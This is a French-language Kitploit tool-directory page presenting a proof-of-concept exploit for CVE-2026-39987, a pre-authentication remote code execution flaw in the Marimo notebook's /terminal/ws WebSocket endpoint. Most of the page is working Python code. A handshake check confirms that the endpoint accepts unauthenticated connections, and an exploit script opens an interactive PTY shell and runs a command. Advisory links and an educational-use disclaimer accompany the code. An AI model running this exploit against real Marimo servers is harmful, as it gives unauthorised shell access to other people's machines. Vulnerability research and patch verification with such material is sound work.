Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987 — Preuve de concept d'exploitation pour l'exécution de code à distance sans authentification dans Marimo via le point de terminaison WebSocket, permettant à des attaquants non authentifiés d'obtenir un shell PTY interactif. | Kitploit
Outils/GitHubGitHub/h3raklez/cve-2026-39987
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

Preuve de concept d'exploitation pour l'exécution de code à distance sans authentification dans Marimo via le point de terminaison WebSocket, permettant à des attaquants non authentifiés d'obtenir un shell PTY interactif.

Voir le dépôt
14il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39987 — RCE pré-authentification Marimo

Uniquement à des fins éducatives et de recherche en sécurité autorisée.

Description

Exécution de code à distance pré-authentifiée dans Marimo <= 0.20.4.
Le point de terminaison WebSocket /terminal/ws ignore la validation d'authentification, permettant à un attaquant non authentifié d'obtenir un shell PTY interactif complet via une seule connexion.

  • CVSS v4.0 : 9.3 (Critique)
  • CWE : CWE-306 (Absence d'authentification pour une fonction critique)
  • Versions concernées : <= 0.20.4
  • Version corrigée : 0.23.0

Prérequis

  • Python 3
  • websockets (pip install websockets)
  • Accès réseau au port 2718 sur la cible

Vérification du point de terminaison

Confirme que le point de terminaison accepte les connexions sans informations d'identification :

root@kitploit:~
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

Résultat attendu : HTTP/1.1 101 Switching Protocols


Exploit

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Connexion établie sans authentification")
        await asyncio.sleep(0.3)

        # Lire la bannière PTY initiale
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[Bannière PTY] :", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Envoyer la commande
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Lire les trames jusqu'au délai d'attente
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[Sortie RCE] :", clean)

asyncio.run(exploit("127.0.0.1", 2718))

Références

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.

Télécharger l’outil